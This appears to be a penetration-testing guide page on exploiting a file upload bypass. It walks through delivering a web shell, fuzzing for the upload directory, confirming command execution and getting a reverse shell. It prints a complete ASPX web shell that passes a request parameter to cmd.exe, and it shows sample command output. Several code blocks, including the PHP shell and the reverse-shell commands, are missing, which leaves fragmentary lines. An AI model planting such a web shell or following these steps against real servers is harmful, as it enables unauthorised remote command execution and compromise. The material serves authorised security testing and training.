File Upload Exploitation
File upload exploitation assumes you have already confirmed a bypass in the file upload validation testing page. The steps here cover delivering the web shell using that bypass, locating where it was stored, confirming execution, and getting a reverse shell.
Deliver the Web Shell
Use a minimal PHP web shell. Small payloads survive more upload filters than feature-heavy alternatives:
< Location: /uploads/shell.php
For a magic byte bypass when the server checks file signatures:
Locate the Upload Path
If the upload response doesn't return the path, fuzz common upload directories:
uploads [Status: 200, Size: 0]
200 uploads 404 upload 404 files
Confirm Execution
Request the uploaded file with a safe command. A 200 with command output means the server is executing PHP in the upload directory:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
If the response returns raw PHP source instead of executing, the upload directory is not configured to execute PHP. Try a different path or check if a .htaccess upload would enable execution in that directory.
Get a Reverse Shell
Set up the listener and send the reverse shell payload through the web shell:
If bash is blocked or the redirect operator is filtered, use mkfifo:
ASPX Web Shell for IIS Targets
When the target runs IIS and .aspx execution was confirmed during upload testing:
<%@@ Page Language="C#" %>
<% Response.Write(new System.Diagnostics.Process() {
StartInfo = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]) {
UseShellExecute = false,
RedirectStandardOutput = true
}
}.Start() ? System.Diagnostics.Process.GetCurrentProcess().StandardOutput.ReadToEnd() : ""); %>
iis apppool\defaultapppool
References
-
PortSwigger — File Upload Vulnerabilitiesportswigger.net/web-security/file-upload (opens in new tab)
Exploitation scenarios including path disclosure and server-side execution bypass
-
PayloadsAllTheThings — Upload Insecure Filesgithub.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files (opens in new tab)
Web shell payloads and bypass techniques for multiple server types
Was this helpful?
Your feedback helps improve this page.